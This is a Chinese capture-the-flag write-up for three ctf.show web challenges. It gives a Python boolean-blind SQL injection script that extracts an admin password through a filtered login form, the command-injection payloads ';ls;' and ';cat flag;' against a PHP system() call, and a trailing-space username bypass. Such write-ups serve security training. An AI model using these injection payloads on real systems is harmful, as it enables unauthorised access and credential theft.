ctfshw (萌新赛)

2023-11-07

目录

萌新记忆

签到题

web_假赛生


0x2f666c6167/flag得hex编码  ,用于更改cookie的值

萌新记忆

发现页面都没什么可利用的,尝试访问别的页面,用dirsearch可以扫描出/admin/目录,没错,是扫出目录而不是一个页面,所以访问的时候别忘记admin后面加/
(多么菜的领悟>_<)

来到一个登录页面,随手试试or和and,返回要报警的信息,用burp来Fuzz一下 发现and or # - if =等都被过滤了
但( ) || , substr length可以用,||可以代替or 那么就是bool盲注了

经过尝试是会发现有三种返回信息:
用户名/密码错误
密码错误
用户名错误

'||'a'<'b		密码错误(说明账号对了,也就是我们盲注成功的信息)
'||'a'<'a		用户名/密码错误
'||aaaaaaaaaaaaaaaaaaaaa  用户名错误(用户名长度超过20即会此报错)

这里'||'a'<'b   b后面没有引号,不然就注释掉密码了

因为length()没被ban,且数据包中密码位置传递的字符是p我们可以尝试爆破出密码的长度(当然,不搞这个也不影响盲注的,只是说有这种操作且会更省时间)

 yinwe

密码长度小于18时只说密码错误,所以密码的长度是17位,方便一会盲注 

import requests
url="http://bd496888-a33e-413e-8ef0-712a9e48f66f.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
for i in range(1,18):
    for j in letter:
        payload="'||substr(p,{},1)<'{}".format(i,j)   就是把i,j的值填入括号,也就是账号填入的东西
        #print(payload)
        data={                                      //输入的账号密码值  
            'u':payload,
            'p':1
            }
        res=requests.post(url=url,data=data).text
        print(res)
        if "密码错误" == res:
            flag += chr(ord(j)-1)     因为显示密码错误都是正确的下一个,所以这就是找上一个
            print(flag)
            break
       # if j=='}':
       #    exit

这样就可以获得密码,账号是admin    就可以获得ctfshow{82228c30-589a-4ca4-8ff2-f0536b854236}

签到题


<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}

有system函数在,应该就是命令执行了。唯一注意的点就是分号分隔一下。

用;ls;查看flag文件,再用;cat flag;得到flag。

web_假赛生

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

看代码有个数据库的操作,而且需要$name=admin
我们看login.php和register.php两个文件。
显然是让我们先注册,再登录,试了一下

如果要我们$name=admin,必须登录admin
发现admin登陆不上,于是

绕过$name='admin'
我们注册,admin空格
然后登录admin

urlencode的空格编码为+或者%20

接下来是绕过c

preg_replace_callback

[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。

我们直接不传c的值就可以了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshw (萌新赛) 的相关文章

  • 爱普生EPSON实时时钟芯片-RX8900SA

    爱普生EPSON实时时钟芯片 RX8900SA 一 引脚连接 二 使用方法 寄存器配置 1 实时时间读取 设置 2 闹钟时间读取 设置 三 代码 Rx8900sa c文件 Rx8900sa h文件 一 引脚连接 近期由于项目需求 被指定使用

随机推荐

  • Java区块链代码

    Java是一种流行的编程语言 它可以用来开发区块链应用程序 区块链是一种分布式数据存储技术 其中的数据存储在许多节点之间 并使用密码学算法进行加密 要使用Java来开发区块链应用程序 需要了解区块链的基本原理以及Java编程语言的基础知识
  • linux驱动笔试题总结

    linux驱动笔试题总结 试题取之于网络 用之于民 最近在学习linux驱动 驱动开发在笔试的时候考的知识点是有规律可循的 并且这些面点也是平时驱动工作中的理论指导 深刻的理解这些面点还是很有必要的 所以在此总结记录 相信会用到的 ps 以
  • Qt - Windows系统DWM缩放

    欢迎转载 请注明出处 https blog csdn net qq 39453936 spm 1010 2135 3001 5343 原文链接 https blog csdn net qq 39453936 article details
  • chatgpt赋能python:超出Python用什么?前端开发和数据科学领域的其他编程语言

    超出Python用什么 前端开发和数据科学领域的其他编程语言 Python是一种强大的编程语言 广泛应用于各种领域 例如Web开发 数据分析 机器学习和人工智能等 然而 Python并不是唯一的选择 在某些情况下 其他编程语言可能更适合特定
  • 谷粒学院-项目后端总结

    项目总结 项目层次划分 controller Autowired注解 spring可以自动帮你把Bean里面引用的对象的setter getter方法省略 它会自动帮你set get Autowired注释进行自动注入时 spring容器中
  • anaconda创建、激活(打开)、关闭、删除虚拟环境

    点击开始菜单 然后找anaconda文件夹 里面的anaconda prompt 打开 输入下面的命令 conda create n 环境名 python 3 6 这句话的意思就是创建一个python虚拟环境 开启虚拟环境 source b
  • LoRa无线数传终端的功能特点

    LoRa 无线数传终端是一种基于 LoRa 扩频技术的无线数据传输终端 利用 LoRa 网络为用户提供无线数据传输功能 该产品采用高性能工业级 LoRa 芯片 同时提供 RS232 和 RS485 接口 产品功耗低 传输距离远 环境适应性高
  • StarGLM:天文大模型

    点击蓝字 关注我们 AI TIME欢迎每一位AI爱好者的加入 2023年9月22日 19 00 20 00 李瑀旸 中国科学院国家天文台博士在读 集思谱 北京 科技有限公司首席信息官 CIO 主要方向为人工智能在科研领域的开发与应用 目前正
  • C++类的静态成员和this指针

    静态成员 概述 C 类中的静态成员一共有两种 静态成员变量和静态成员函数 被关键字 static 声明为静态的 称为静态成员 不管这个类创建了多少个对象 静态成员只 有一个拷贝 这个拷贝被所有属于这个类的对象共享 静态成员变量 在一个类中
  • Java编程到底是用idea好还是eclipse好?

    IDEA 全称 IntelliJ IDEA 是java编程语言开发的集成环境 IntelliJ在业界被公认为最好的java开发工具 尤其在智能代码助手 代码自动提示 重构 JavaEE支持 各类版本工具 git svn等 JUnit CVS
  • QT学习笔记(五)

    第6章 布局管理 放置在窗体中的每一个窗口部件都必须给定一个合适的大小和位置 Qt提供了多个用于在窗体中摆放窗口部件的布局类 使用Qt布局类的另一个原因是 他们可以确保窗体能够自动适应于不同的字体和系统平台 在窗体中摆放窗口部件 共有三种方
  • 每日一题:01序列

    01序列 题目 Daimayuan Online Judge 大致题意是字符串中只有0和1 找出有多少个子串含有k个1 依次记录每个1的下标 枚举每个1 运用乘法原理 比如01010100 找含有2个1的子串 先枚举第一个橙色的1 然后如果
  • 大數據環境搭建,數據採集,數倉環境準備(hive on spark) 01

    服務器搭建 更改時區 改爲cst sarah hadoop104 ha sudo vi etc sysconfig clock zone Asia Shshanghai sarah hadoop104 ha sudo rm rf etc l
  • OpenGL 纹理数组

    参考 glTexStorage3D glTexStorage3D glTexImage3D glTexSubImage3D glTexStorage3D code example
  • 完美解决,Lightroom CC关闭嵌入式预览

    https www google com search q lr embedded preview turn off sxsrf ALeKk02iHFAT8ggQpkYCHhCRhi67nlPSOQ 3A1627959107736 ei Q
  • 数据结构学习系列之单向链表的两种创建方式

    方式1 通过返回值返回所申请的头结点所在的内存空间首地址 即创建单向链表的头结点 代码如下 示例代码 node t create link node 1 node t phead node t malloc sizeof node t if
  • 软件发展史

    尘埃落定海上花原帖地址 计算机硬件发展 底层应用逐渐完善 软件系统趋向工程化 理论化 程序设计趋向自动化 这使得软件开发工作变得越来越容易 同时 计算机网络和通信技术发展 软件面向的用户越来越多 应用领域越来越广泛 因此软件越来越复杂 软件
  • Arduino:数码管显示原理详解和Proteus仿真实验

    Arduino 数码管显示原理详解和Proteus仿真实验 Proteus仿真 数码管介绍 数码管是半导体发光元件 其基本单元是发光二极管 根据段数 数码管分为七段管和八段管 八段管比七段管还多一个发光二极管单元 小数点多一个 我们将在这个
  • C0232 [2016普及组-A]买铅笔-C语言写

    题目描述 P老师需要去商店买n支铅笔作为小朋友们参加NOIP的礼物 她发现商店一共有3种包装的铅笔 不同包装内的铅笔数量有可能不同 价格也有可能不同 为了公平起见 P老师决定只买同一种包装的铅笔 商店不允许将铅笔的包装拆开 因此P老师可能需
  • ctfshw (萌新赛)

    目录 萌新记忆 签到题 web 假赛生 0x2f666c6167是 flag得hex编码 用于更改cookie的值 萌新记忆 发现页面都没什么可利用的 尝试访问别的页面 用dirsearch可以扫描出 admin 目录 没错 是扫出目录而不